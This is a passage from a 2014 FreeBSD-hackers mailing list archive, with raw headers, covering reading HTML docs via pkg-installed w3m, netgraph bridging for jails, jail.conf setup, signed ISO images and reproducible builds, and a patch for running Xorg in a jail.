6UUTS5r3CBFpkuMeAb6DFvrlKXF.q3DbwCpAz7Pi.k_0JjnajL3e2aLrcwJb 4a5UulE4NXlhb.CQmcrUoHg-- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [192.168.1.105] (free7by@220.169.172.141 with xymcookie [106.10.149.123]) by smtp207.mail.bf1.yahoo.com with SMTP; 08 Mar 2014 05:48:13 -0800 PST References: <20140308142656.cfcbdea1daaeed5ada8c1111@yahoo.es> Mime-Version: 1.0 (1.0) In-Reply-To: <20140308142656.cfcbdea1daaeed5ada8c1111@yahoo.es> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <5E8323EB-D587-4F8D-9310-E7C0F2270EF8@yahoo.com> X-Mailer: iPhone Mail (11B651) From: by Subject: Re: How to read HTML file in FreeBSD(base system) Date: Sat, 8 Mar 2014 21:48:03 +0800 To: Eduardo Morras Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 13:50:30 -0000 Thank you : ) For some historical docs, they use ASCII text form, so I can use zcat to vie= w them. - by > On Mar 8, 2014, at 21:26, Eduardo Morras wrote: >=20 > On Sat, 8 Mar 2014 14:36:16 +0800 > by wrote: >=20 >> Hello, >> I use FreeBSD 10.0 RELEASE now, and I just install the base system, >> but I add doc when I install FreeBSD, so there are some docs in my >> system, and they are HTML files, so I want to ask that does FreeBSD >> provide some utilities to read HTML file in terminal? >>=20 >> You may say w3m is a good choice : ) >> I have use it before, it is a great web browser in CLI, and its use >> experience is like vi : ) But I must install it from ports or src by >> myself, so does FreeBSD provide some utilities in base system to >> implement that? >=20 > I think no one has answered your original question. No, there's no browser= in Base to read FreeBSD Base documentation in HTML. You must install someth= ing from ports always. If you want install w3m as pkg, pkg must be installed= from ports first. >=20 > HTH >=20 >>=20 >> - by >=20 >=20 > --- --- > Eduardo Morras > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 13:57:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 60726235 for ; Sat, 8 Mar 2014 13:57:49 +0000 (UTC) Received: from mail-we0-x230.google.com (mail-we0-x230.google.com [IPv6:2a00:1450:400c:c03::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E87993EF for ; Sat, 8 Mar 2014 13:57:48 +0000 (UTC) Received: by mail-we0-f176.google.com with SMTP id x48so6525933wes.35 for ; Sat, 08 Mar 2014 05:57:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=tnOfBwHjfrwu2MBJrUu05u5jUxb3b7GU6eU237yLkoA=; b=A6tGzXRC2nILZTFcYUmuTFItG6qbNbynZ+pX5FJyJZF0Tuj6aNmVWdD+X/gbwQCmgx 6wT0PyRnV/IhUnogeaJBqD9I+9mlHpHaDhJ/jY5ai/jM7P+3L7YfteYAROdJgdX41IM+ HlnrUQ5wrf5DDAhYfn3WIHPxOaMxCbqbntE/aYbSCsSVvexOF0A0R4QUhUgA8cg1dyQu Su0zsh0WJlZDgSIDPiHD8qZg7EPURpA8+MunGHQ2SMfz9dlkgQWoNmv/hdDNp/Zop18T E1uUHEAZ9jr5YVGvWos2988px+LwnihzHsIiVa6YUum7yn5OwbfQwSHIw/rZr2qSnvBp hcSQ== X-Received: by 10.180.182.199 with SMTP id eg7mr2665916wic.13.1394287067253; Sat, 08 Mar 2014 05:57:47 -0800 (PST) Received: from ithaqua.etoilebsd.net (ithaqua.etoilebsd.net. [37.59.37.188]) by mx.google.com with ESMTPSA id g5sm26813516wjs.8.2014.03.08.05.57.45 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Sat, 08 Mar 2014 05:57:46 -0800 (PST) Sender: Baptiste Daroussin Date: Sat, 8 Mar 2014 14:57:44 +0100 From: Baptiste Daroussin To: Eduardo Morras Subject: Re: How to read HTML file in FreeBSD(base system) Message-ID: <20140308135744.GE6900@ithaqua.etoilebsd.net> References: <20140308142656.cfcbdea1daaeed5ada8c1111@yahoo.es> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="+SfteS7bOf3dGlBC" Content-Disposition: inline In-Reply-To: <20140308142656.cfcbdea1daaeed5ada8c1111@yahoo.es> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 13:57:49 -0000 --+SfteS7bOf3dGlBC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Mar 08, 2014 at 02:26:56PM +0100, Eduardo Morras wrote: > On Sat, 8 Mar 2014 14:36:16 +0800 > by wrote: >=20 > > Hello, > > I use FreeBSD 10.0 RELEASE now, and I just install the base system, > > but I add doc when I install FreeBSD, so there are some docs in my > > system, and they are HTML files, so I want to ask that does FreeBSD > > provide some utilities to read HTML file in terminal? > >=20 > > You may say w3m is a good choice : ) > > I have use it before, it is a great web browser in CLI, and its use > > experience is like vi : ) But I must install it from ports or src by > > myself, so does FreeBSD provide some utilities in base system to > > implement that? >=20 > I think no one has answered your original question. No, there's no browse= r in Base to read FreeBSD Base documentation in HTML. You must install some= thing from ports always. If you want install w3m as pkg, pkg must be instal= led from ports first. >=20 No need to install pkg from ports /usr/sbin/pkg does it for you since FreeB= SD 8.4 pkg install w3m it will install pkg and w3m later without the need for the ports tree at al= l. regards, Bapt --+SfteS7bOf3dGlBC Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlMbIdcACgkQ8kTtMUmk6ExYZQCfc91tS3EcqNhe1odKb0rts/aD R6UAn0Q/w4zfwAKazU8c/HeF1Ew94GS6 =a2+J -----END PGP SIGNATURE----- --+SfteS7bOf3dGlBC-- From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 16:31:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E44ECA9C; Sat, 8 Mar 2014 16:31:21 +0000 (UTC) Received: from mail-ob0-x22c.google.com (mail-ob0-x22c.google.com [IPv6:2607:f8b0:4003:c01::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9A2D61B0; Sat, 8 Mar 2014 16:31:21 +0000 (UTC) Received: by mail-ob0-f172.google.com with SMTP id wm4so5414847obc.31 for ; Sat, 08 Mar 2014 08:31:21 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=7EdA+T1IPqeIa7hq7CTHERhqawnBzVXJNiKfWsB7+nA=; b=PecTbNE0xIb31cUq7XrDoHbhv/g2a3HJv7jIvri3tdKlqDtrXvK6u/ee/QyVus3Qyu mXz8i2jKyLd232fhQN7bZbcgozxVdTTGYq3Y36H0HU4+Ty6nWajuCqQDOdD3ibXTGyFm KmieQKTNfrZDxrTEfL/vjcGNvYi/EeDrLQfAIpKk1JPsw6uD/pHFFZ8mBDBtJhwZ/bYD aXCW69QsgmtR9C/srsQW8yceZAove9pQyZx8HtJ82zmdHjfMo6UI0Amiqj+wXTih0R2Y /1YnAObMhVH4wZ8u1mhycH2+FiCjC+ib2txHoV3F8zW5ki6apxtTRqn3YooaN3Pva69T D/VA== MIME-Version: 1.0 X-Received: by 10.60.246.97 with SMTP id xv1mr16513024oec.33.1394296281019; Sat, 08 Mar 2014 08:31:21 -0800 (PST) Received: by 10.182.76.201 with HTTP; Sat, 8 Mar 2014 08:31:20 -0800 (PST) In-Reply-To: References: <53181410.1030107@freebsd.org> <5318B836.7040301@grosbein.net> <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> <1a1801cf39d4$1155a830$3400f890$@FreeBSD.org> Date: Sat, 8 Mar 2014 11:31:20 -0500 Message-ID: Subject: Re: How do I create a cloned interface when there is no static connection? From: Joe Nosay To: Devin Teske Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , Eugene Grosbein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 16:31:22 -0000 On Fri, Mar 7, 2014 at 10:52 PM, Joe Nosay wrote: > > > > On Fri, Mar 7, 2014 at 10:37 PM, Joe Nosay wrote: > >> >> >> On Fri, Mar 7, 2014 at 10:00 PM, Joe Nosay wrote: >> >>> >>> >>> >>> On Fri, Mar 7, 2014 at 2:08 AM, wrote: >>> >>>> >>>> >>>> > -----Original Message----- >>>> > From: Joe Nosay [mailto:superbisquit@gmail.com] >>>> > Sent: Thursday, March 6, 2014 6:52 PM >>>> > To: Devin Teske >>>> > Cc: FreeBSD Hackers; Eugene Grosbein >>>> > Subject: Re: How do I create a cloned interface when there is no >>>> static >>>> > connection? >>>> > >>>> > On Thu, Mar 6, 2014 at 2:47 PM, wrote: >>>> > >>>> > > >>>> > > >>>> > > > -----Original Message----- >>>> > > > From: Eugene Grosbein [mailto:eugen@grosbein.net] >>>> > > > Sent: Thursday, March 6, 2014 10:03 AM >>>> > > > To: Joe Nosay >>>> > > > Cc: FreeBSD Hackers >>>> > > > Subject: Re: How do I create a cloned interface when there is no >>>> > > > static connection? >>>> > > > >>>> > > > On 07.03.2014 00:39, Joe Nosay wrote: >>>> > > > >>>> > > > > I'll need a dummy interface inside of the that can be bridged >>>> to >>>> > > > > wlan0 outside of the jail. Normal jail with aliases. >>>> > > > >>>> > > > Try epair(4) and give one part of pair to jail and bridge another >>>> > > > part >>>> > > with >>>> > > > wlan0. >>>> > > > >>>> > > >>>> > > Never tried bridging a wlan with netgraph, but I wonder if the >>>> method >>>> > > I use for bridging Ethernet with netgraph would work... >>>> > > >>>> > > Using the ngctl command to create an ng_bridge and then multiple >>>> > > ng_eiface devices that you can be shoved into the jail. >>>> > > >>>> > > kldload ng_ether >>>> > > kldload ng_bridge >>>> > > kldload ng_eiface >>>> > > ngctl >>>> > > + mkpeer {IFACE}: bridge lower link0 >>>> > > + connect {IFACE}: {IFACE}:lower upper link1 >>>> > > + name {IFACE}:lower {IFACE}bridge >>>> > > + quit >>>> > > ifconifg {IFACE} up >>>> > > ngctl >>>> > > + msg {IFACE}: setpromisc 1 >>>> > > + msg {IFACE}: setautosrc 0 >>>> > > + mkpeer {IFACE}:lower eiface link{N} ether >>>> > > + name {IFACE}bridge:link{N} >>>> > > + show -n {IFACE}bridge: >>>> > > Name: ngeth0 Type: eiface ID: XXXXXXXX >>>> Num >>>> > > hooks: N >>>> > > + name {IFACE}bridge:link{N} {NEWIFACE} >>>> > > ifconfig ngeth0 name {NEWNAME} >>>> > > ifconfig {NEWNAME} vnet {JID} >>>> > > >>>> > > Taking care to replace the following from above: >>>> > > {IFACE} - the name of the interface you want to bridge (eg, em0) >>>> {N} - >>>> > > link number (starts at 2; increments by-one for each new eiface) >>>> > > {NEWIFACE} - the name of the new eiface (ngethN) device to create >>>> > > {JID} - the jail ID of the jail you want to shove the interface into >>>> > > >>>> > > Of course, never tried this with WiFi. >>>> > >>>> > I did not properly create the jail.conf script. I believe the file of >>>> /etc/rc.d/jail >>>> > should be followed; yet, there is no tutorial on setting it up. >>>> > My /etc/rc.conf file is also improperly setup. How? I don't know; >>>> but, I >>>> can tell >>>> > because the system will not boot completely and ctrl+C must be hit to >>>> allow >>>> > logging in. >>>> >>>> What release are you using? "uname -spr" is often succinct enough. >>>> -- >>>> Devin >>>> >>>> _____________ >>>> The information contained in this message is proprietary and/or >>>> confidential. If you are not the intended recipient, please: (i) delete the >>>> message and all copies; (ii) do not disclose, distribute or use the message >>>> in any manner; and (iii) notify the sender immediately. In addition, please >>>> be aware that any message addressed to our domain is subject to archiving >>>> and review by persons other than the intended recipient. Thank you. >>>> >>> >>> >>> FreeBSD 10.0-RELEASE amd64 >>> The /etc/rc.d/jail script is interpreting the name at -G in >>> FreeBSD-Google_projects to be a command line option. I am going to see what >>> happens if I just change the name. >>> >> >> >> Ok. >> The jail.conf is in /etc, the name is without hypens or undescores, and >> the script dies with "/etc/rc no such file or directory" from jail.conf. >> There is a /etc/rc but I know that jail exists in /etc/rc.d? >> Wait a sec. >> > > > Okay. > Herein lies the problem: I used /bin/sh plus location of jail plus the > command to start and stop. The system does not seem to be able to find the > script. I have not ran /usr/libexec/locate.updatedb yet. That may help, I > don't know. > Hold a sec, let me test. > > exec.start = "/bin/sh /etc/rc.d/jail jail_start"; > exec.stop = "/bin/sh /etc/rc.d/jail jail_stop"; > > > > I have the start and stop commands incorrectly set up. Do I need the commands or are they automatic? From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 19:12:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8913799C; Sat, 8 Mar 2014 19:12:04 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5BE1AF8D; Sat, 8 Mar 2014 19:12:03 +0000 (UTC) Received: from Julian-MBP3.local ([12.157.112.67]) (authenticated bits=0) by vps1.elischer.org (8.14.7/8.14.7) with ESMTP id s28JBunI093142 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Sat, 8 Mar 2014 11:11:56 -0800 (PST) (envelope-from julian@freebsd.org) Message-ID: <531B6B77.1040907@freebsd.org> Date: Sat, 08 Mar 2014 11:11:51 -0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eduardo Morras , freebsd-hackers@freebsd.org Subject: Re: How to read HTML file in FreeBSD(base system) References: <20140308142656.cfcbdea1daaeed5ada8c1111@yahoo.es> In-Reply-To: <20140308142656.cfcbdea1daaeed5ada8c1111@yahoo.es> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: docs@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 19:12:04 -0000 On 3/8/14, 5:26 AM, Eduardo Morras wrote: > On Sat, 8 Mar 2014 14:36:16 +0800 > by wrote: > >> Hello, >> I use FreeBSD 10.0 RELEASE now, and I just install the base system, >> but I add doc when I install FreeBSD, so there are some docs in my >> system, and they are HTML files, so I want to ask that does FreeBSD >> provide some utilities to read HTML file in terminal? >> >> You may say w3m is a good choice : ) >> I have use it before, it is a great web browser in CLI, and its use >> experience is like vi : ) But I must install it from ports or src by >> myself, so does FreeBSD provide some utilities in base system to >> implement that? > I think no one has answered your original question. No, there's no browser in Base to read FreeBSD Base documentation in HTML. You must install something from ports always. If you want install w3m as pkg, pkg must be installed from ports first. > > HTH > >> - by Base documentation is derived from sources which can also deliver other media types. Try formatting them as text. A Doc team member can probably tell you how to do that. > > --- --- > Eduardo Morras > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 22:24:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0ED25C11 for ; Sat, 8 Mar 2014 22:24:10 +0000 (UTC) Received: from nm20.bullet.mail.bf1.yahoo.com (nm20.bullet.mail.bf1.yahoo.com [98.139.212.179]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8FFB1B3 for ; Sat, 8 Mar 2014 22:24:09 +0000 (UTC) Received: from [98.139.212.150] by nm20.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 22:17:57 -0000 Received: from [98.139.213.15] by tm7.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 22:17:57 -0000 Received: from [127.0.0.1] by smtp115.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 22:17:57 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1394317077; bh=fq30N4IKOYJfuFxed/Za+SaFIgyVYr3QWQpkO5ilMGQ=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=HGz+g94vqlooWvP6r9cTH93wdl8u/j9jQ1L+Nym/5kFmZpq/aKOIwrVvBxIrSfqe+/imr7CfqSIk2iLInjA9ZKprzNUXOoaR3LD60q9NXOZrfW24b0O5qLt0KqCHXYjdwv+ilafa5ALBwVgsb+X3ZQUTJ8dH+JCWW3aAGgRlVL8= X-Yahoo-Newman-Id: 865911.9170.bm@smtp115.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: oaRvSbsVM1kVObN9QmvxFHCeR_ZFQp2MozO3P4gLuUp2.Aq p61tCwKefRTpcEdslv.7al8kDpWXENU7SHiDewwpPYnJgfPxPCqvoMeTQLtV OgankHNi_li7wcniH4DXUoX5jU0_TsgaeWnvnTw2j2nNEx.VyhKkXBWQ_NIb X4f5EAOM8pxQPgcXPgCJF898WOd9kJoOxncbeaFESLR_yvbwQ_FB7V7J2W5Y JRRpR6.nyG430c04O93.dH1C32OV4rJqOdeoy.WiwITw735TOWu5yI8gnP1L 0Ch82ef1VJDUejR15z6TCaoOqD0hOrPHIjMWFfJVbIb97rqwIwouKfGJM4kJ jdlvhLusAyUM6f1npGKZ.Kv64gSmScnIx3nSjIprYEFdFozkgQcZp2PoREs4 BWDKXn.U3vtY0IIQ1LWutE2mx3FxA8gCpl3Xskan1EM7CTxPAVVq6fdCdlbd 5D_RKRF9dzEnl3jrD3bCUG_ZGjwfcmeoN2vRknK.sHeHepfbONqz9tLy4yCN kBaZ4mZT0TeIAyfNDmXQjXVA- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [192.168.1.105] (free7by@220.169.172.141 with xymcookie [106.10.149.123]) by smtp115.mail.bf1.yahoo.com with SMTP; 08 Mar 2014 14:17:57 -0800 PST References: <20140308142656.cfcbdea1daaeed5ada8c1111@yahoo.es> <531B6B77.1040907@freebsd.org> Mime-Version: 1.0 (1.0) In-Reply-To: <531B6B77.1040907@freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <636085F5-B71E-4CFA-9F54-13FE422C7980@yahoo.com> X-Mailer: iPhone Mail (11B651) From: by Subject: Re: How to read HTML file in FreeBSD(base system) Date: Sun, 9 Mar 2014 06:17:32 +0800 To: Julian Elischer Cc: "freebsd-hackers@freebsd.org" , "docs@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 22:24:10 -0000 Oh, that sounds a great idea. I think I will try it myself first, if I meet troubles or I can not do that m= yself, I should find help from doc team. Thank you! You give me an idea of solve this : ) - by > On Mar 9, 2014, at 3:11, Julian Elischer wrote: >=20 > Base documentation is derived from sources which can also deliver other m= edia types. > Try formatting them as text. A Doc team member can probably tell you how t= o do that. > ____________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 22:31:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C5767E77; Sat, 8 Mar 2014 22:31:15 +0000 (UTC) Received: from mail-vc0-x233.google.com (mail-vc0-x233.google.com [IPv6:2607:f8b0:400c:c03::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 60F3917D; Sat, 8 Mar 2014 22:31:15 +0000 (UTC) Received: by mail-vc0-f179.google.com with SMTP id ij19so5146481vcb.38 for ; Sat, 08 Mar 2014 14:31:14 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:cc:content-type; bh=2DGypOAfTAXVmvw1KNqpmkNWMgNlyUrjgn4QkZdyWOo=; b=g/tEACNdm9g5ApkaVooq5DkWbcXt26H1k2+HxAg65XwavNPLD8Ax4QUyPml+3ZOEnD K9P/MwuMZel1+g9iAe4ZGcCjm9jAQF9xHuXxxanhBAZxpPaJstlO/rhzUIJJprLcyOm6 jVB4rDO4kpAu0sr6khVOHz6zZKaUMb7RDjKaFEuLkBpZa/3HkmuZxDBOIBn0+6wtnxFW o5NehtT+gLLZHPT7M6YUF60kzSPls4J2sQp2WrmghaVusHqq3WMAPqivO7yvnvLD0iEo J82FlXe5RVVEd/3nkRc24oGCGK/Itbnlay1rGDdXpN4+5043M0fK6kMFdgUSrZsB2tIx hWIg== MIME-Version: 1.0 X-Received: by 10.220.95.139 with SMTP id d11mr1839839vcn.21.1394317874488; Sat, 08 Mar 2014 14:31:14 -0800 (PST) Received: by 10.220.106.199 with HTTP; Sat, 8 Mar 2014 14:31:14 -0800 (PST) Date: Sat, 8 Mar 2014 17:31:14 -0500 Message-ID: Subject: Secure Infrastructure [Crypto signed ISO images] From: grarpamp To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=UTF-8 X-Mailman-Approved-At: Sat, 08 Mar 2014 23:01:18 +0000 Cc: freebsd-security@freebsd.org, freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 22:31:15 -0000 >>> Cryptografically signed ISO images >>> http://docs.freebsd.org/cgi/mid.cgi?20140302172759.GA4728 >> If the use of [the signed] SHA-2[56] hashes don't provide enough >> assurance that the ISO images are authentic can you explain the >> crypto technology that you are looking for? Signing the ISO's [hashes of same] is a common practice. As is now signing the packages. However, just remember that both of these are only handwavy security bandaids trying to be placed from the periphery in, which is not the way to do things right... Until the FreeBSD project ... (1) moves to a repository such as Git [or something like the even further crypto integrated Monotone], where the repository itself has an internal crypto hash structure that can be signed from the very first initializing commit and upon later commits/tags/branches, etc... and (2) has and uses deterministic reproducible builds for everything flowing downstream from that [the source repo, packages, isos, build servers, rsync/ftp/http distribution servers, web/wiki/forum/mail servers, etc...] ... signing the periphery may look good to the casual observer, but it is ultimately untraceable in any cryptographic sense to the code from which those periphery elements are purported to come from. That's not a good position to be in, and is a clarification regarding discontiguous trust chains that needs pointed out. It also wouldn't hurt to have the repo on ZFS raidzN sha256, ECC ram, etc... if not already. >> if you verified the certificate of https host... ... you probably have more to learn about verification. https://www.eff.org/observatory https://en.wikipedia.org/wiki/Certificate_transparency And let's not forget the needed DNSSEC and IPSEC components. Though 1 and 2 above would be a great start. References... https://blog.torproject.org/blog/deterministic-builds-part-one-cyberwar-and-global-compromise https://blog.torproject.org/blog/deterministic-builds-part-two-technical-details https://wiki.debian.org/ReproducibleBuilds https://gitian.org/ http://git-scm.com/about/distributed http://git-scm.com/about/info-assurance http://www.monotone.ca/ From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 9 01:26:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2071BA41; Sun, 9 Mar 2014 01:26:43 +0000 (UTC) Received: from mail-lb0-x233.google.com (mail-lb0-x233.google.com [IPv6:2a00:1450:4010:c04::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2E0DEF94; Sun, 9 Mar 2014 01:26:42 +0000 (UTC) Received: by mail-lb0-f179.google.com with SMTP id p9so3754099lbv.38 for ; Sat, 08 Mar 2014 17:26:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:cc:content-type; bh=09pov9duj6YTLdA8Og5JL9snTMqU4734PNOMV48RXG0=; b=iZiXPiOyJ7qEoKDJlCoSfNlLWX0eYSFB4rPkmGnWvlwZLCqTuoWcMqpchtMqRl/8MW JjMiQh/JJV+s6NuOrd2hIsEM0MVjPlRnf96ov77hGjD/H5+WApMyxNfG6oIkvKfOQYNe L37bXapaduJEUl7WJwa6OHCg56mqtbWjNJXUhXUhS9C8WQ44g+rVCOUMFj0HSxWWuJhk 5/4KSlHg+WX4Fq29fq/u/mxTxwRKyExIyJ7ZO5QNEc4GBZz0ulBWiWY8SM1PGOCPH0n0 D4KrIpGa6fsgieuEKAjNbXHO9oL6hU/UTz0mBo/lnKvLq8PZxhW1LzWxCZc0F7Z6FL9e 91cw== MIME-Version: 1.0 X-Received: by 10.152.205.11 with SMTP id lc11mr17780545lac.29.1394328400321; Sat, 08 Mar 2014 17:26:40 -0800 (PST) Received: by 10.112.35.167 with HTTP; Sat, 8 Mar 2014 17:26:40 -0800 (PST) Date: Sun, 9 Mar 2014 01:26:40 +0000 Message-ID: Subject: [PATCH] Xorg in a jail From: Tom Evans To: "freebsd-x11@freebsd.org" , "freebsd-hackers@freebsd.org" Content-Type: multipart/mixed; boundary=001a1133a8180070a404f42261fd Cc: Alexander Leidinger , jamie@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 09 Mar 2014 01:26:43 -0000 --001a1133a8180070a404f42261fd Content-Type: text/plain; charset=UTF-8 I've been reinstalling my home server with 10-STABLE and wanted to compartmentalise all the disparate tasks it does - file storage, DNS, web servers and mplayer/xorg/media stuff in general - in to a separate jail for each task. For the most part, this was quite straightforward, apart from with xorg I found that it wasn't quite supported. I found Alexander's patch, and the work Jamie did in part integrating it, allowing kmem read, and reworked it for 10-STABLE. >From Jamie's emails it looked like he was working on a way of properly integrating these permissions in a more unified way, but I had a pressing need :) I've tested this on 10-STABLE r262457M, intel graphics (ivy bridge, WITH_NEW_XORG), and everything seems to work just fine. I'm going to try out radeonkms and nvidia tomorrow also. Also please note that whilst I want things jailed for separation and neatness concerns rather than security, it must be pointed out that letting one jail read and write kernel memory of the whole machine is not at all secure! Anyone with root in this xorg jail would be able to break free of the jail. I'm not sure I did the jail allow parameters right, but it works for me - I would appreciate someone more competent taking a look! Also, dev_io_access should probably be renamed or using it to control access to /dev/mem split out from it? Also, is the style right? vim: noet sw=8 ts=8 is what I was using. Cheers Tom PS: I haven't tested any input devices yet with this, let me know! Instructions: Apply patch, rebuild world and kernel, install and update jails/basejails Create /etc/devfs.rules to unhide the pertinent devices and restart devfs This is what I am using, it might be overkill... [devfsrules_unhide_xorg=8] add include $devfsrules_hide_all add include $devfsrules_unhide_basic add include 